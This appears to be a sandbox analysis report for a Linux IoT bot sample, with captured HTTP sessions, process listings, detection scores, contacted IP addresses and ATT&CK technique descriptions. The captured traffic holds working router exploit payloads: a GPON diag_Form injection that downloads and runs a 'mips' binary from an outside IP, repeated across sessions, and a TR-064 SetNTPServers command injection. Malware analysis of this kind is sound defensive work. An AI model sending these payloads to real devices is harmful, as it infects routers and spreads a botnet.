Apr 15, 2024 08:53:59.389456987 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1447	192.168.2.13	52630	38.63.202.219	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.407203913 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:59.575999975 CEST	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:51 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1448	192.168.2.13	51162	183.123.44.8	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.526583910 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1449	192.168.2.13	59030	47.106.230.217	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.548163891 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1450	192.168.2.13	41872	191.61.64.184	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.550019026 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1451	192.168.2.13	40112	174.100.141.119	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.555445910 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1452	192.168.2.13	49162	23.205.225.151	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.557775021 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1453	192.168.2.13	56364	77.51.251.21	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.561069012 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1454	192.168.2.13	50174	186.62.99.8	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.587802887 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1455	192.168.2.13	51962	103.101.115.71	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.628415108 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1456	192.168.2.13	54724	107.149.7.101	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.723197937 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1457	192.168.2.13	32778	196.192.53.57	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.724590063 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

System Behavior

Analysis Process: x86.elf PID: 5451, Parent PID: 5373

General

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/tmp/x86.elf
Arguments:	/tmp/x86.elf
File size:	34512 bytes
MD5 hash:	6cc3041b0f9b56c38e92d7634d41cdb8

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	34512 bytes
MD5 hash:	6cc3041b0f9b56c38e92d7634d41cdb8

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	34512 bytes
MD5 hash:	6cc3041b0f9b56c38e92d7634d41cdb8

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	34512 bytes
MD5 hash:	6cc3041b0f9b56c38e92d7634d41cdb8

Analysis Process: x86.elf PID: 5455, Parent PID: 5452

General

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	34512 bytes
MD5 hash:	6cc3041b0f9b56c38e92d7634d41cdb8

Analysis Process: x86.elf PID: 5457, Parent PID: 5452

General

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	34512 bytes
MD5 hash:	6cc3041b0f9b56c38e92d7634d41cdb8

Analysis Process: x86.elf PID: 5458, Parent PID: 5452

General

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	34512 bytes
MD5 hash:	6cc3041b0f9b56c38e92d7634d41cdb8

Analysis Process: x86.elf PID: 5459, Parent PID: 5452

General

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	34512 bytes
MD5 hash:	6cc3041b0f9b56c38e92d7634d41cdb8

Analysis Process: x86.elf PID: 5460, Parent PID: 5452

General

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	34512 bytes
MD5 hash:	6cc3041b0f9b56c38e92d7634d41cdb8

Analysis Process: x86.elf PID: 5461, Parent PID: 5452

General

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/tmp/x86.elf
Arguments:	-
File size:	34512 bytes
MD5 hash:	6cc3041b0f9b56c38e92d7634d41cdb8

Analysis Process: xfce4-panel PID: 5465, Parent PID: 3147

General

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	06:51:53
Start date (UTC):	15/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Source: x86.elf	Virustotal: Detection: 17%			Perma Link
Source: x86.elf	ReversingLabs: Detection: 21%

Source: unknown	TCP traffic detected without corresponding DNS query: 157.240.183.71
Source: unknown	TCP traffic detected without corresponding DNS query: 197.29.35.120
Source: unknown	TCP traffic detected without corresponding DNS query: 197.146.75.187
Source: unknown	TCP traffic detected without corresponding DNS query: 157.118.197.224
Source: unknown	TCP traffic detected without corresponding DNS query: 157.69.255.246
Source: unknown	TCP traffic detected without corresponding DNS query: 157.45.82.191
Source: unknown	TCP traffic detected without corresponding DNS query: 157.185.46.184
Source: unknown	TCP traffic detected without corresponding DNS query: 92.241.112.216
Source: unknown	TCP traffic detected without corresponding DNS query: 41.203.193.250
Source: unknown	TCP traffic detected without corresponding DNS query: 41.251.86.16
Source: unknown	TCP traffic detected without corresponding DNS query: 197.50.30.92
Source: unknown	TCP traffic detected without corresponding DNS query: 197.14.34.74
Source: unknown	TCP traffic detected without corresponding DNS query: 115.9.28.167
Source: unknown	TCP traffic detected without corresponding DNS query: 157.15.170.74
Source: unknown	TCP traffic detected without corresponding DNS query: 197.139.214.202
Source: unknown	TCP traffic detected without corresponding DNS query: 197.211.96.54
Source: unknown	TCP traffic detected without corresponding DNS query: 41.76.226.48
Source: unknown	TCP traffic detected without corresponding DNS query: 150.114.26.76
Source: unknown	TCP traffic detected without corresponding DNS query: 197.254.187.122
Source: unknown	TCP traffic detected without corresponding DNS query: 152.52.189.40
Source: unknown	TCP traffic detected without corresponding DNS query: 197.190.111.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.186.82.183
Source: unknown	TCP traffic detected without corresponding DNS query: 157.71.246.128
Source: unknown	TCP traffic detected without corresponding DNS query: 157.234.193.35
Source: unknown	TCP traffic detected without corresponding DNS query: 128.124.111.63
Source: unknown	TCP traffic detected without corresponding DNS query: 159.84.162.211
Source: unknown	TCP traffic detected without corresponding DNS query: 74.127.248.93
Source: unknown	TCP traffic detected without corresponding DNS query: 139.25.139.3
Source: unknown	TCP traffic detected without corresponding DNS query: 41.166.124.108
Source: unknown	TCP traffic detected without corresponding DNS query: 197.127.83.97
Source: unknown	TCP traffic detected without corresponding DNS query: 96.61.82.119
Source: unknown	TCP traffic detected without corresponding DNS query: 197.81.36.196
Source: unknown	TCP traffic detected without corresponding DNS query: 153.93.157.112
Source: unknown	TCP traffic detected without corresponding DNS query: 41.205.136.142
Source: unknown	TCP traffic detected without corresponding DNS query: 41.20.183.192
Source: unknown	TCP traffic detected without corresponding DNS query: 197.231.39.1
Source: unknown	TCP traffic detected without corresponding DNS query: 197.207.250.87
Source: unknown	TCP traffic detected without corresponding DNS query: 157.164.29.20
Source: unknown	TCP traffic detected without corresponding DNS query: 177.119.45.26
Source: unknown	TCP traffic detected without corresponding DNS query: 197.159.214.32
Source: unknown	TCP traffic detected without corresponding DNS query: 157.98.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 157.40.63.238
Source: unknown	TCP traffic detected without corresponding DNS query: 41.226.96.79
Source: unknown	TCP traffic detected without corresponding DNS query: 197.255.218.172
Source: unknown	TCP traffic detected without corresponding DNS query: 157.171.161.161
Source: unknown	TCP traffic detected without corresponding DNS query: 197.154.52.133
Source: unknown	TCP traffic detected without corresponding DNS query: 197.1.57.239
Source: unknown	TCP traffic detected without corresponding DNS query: 157.247.127.21
Source: unknown	TCP traffic detected without corresponding DNS query: 41.198.76.177
Source: unknown	TCP traffic detected without corresponding DNS query: 137.213.37.188

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

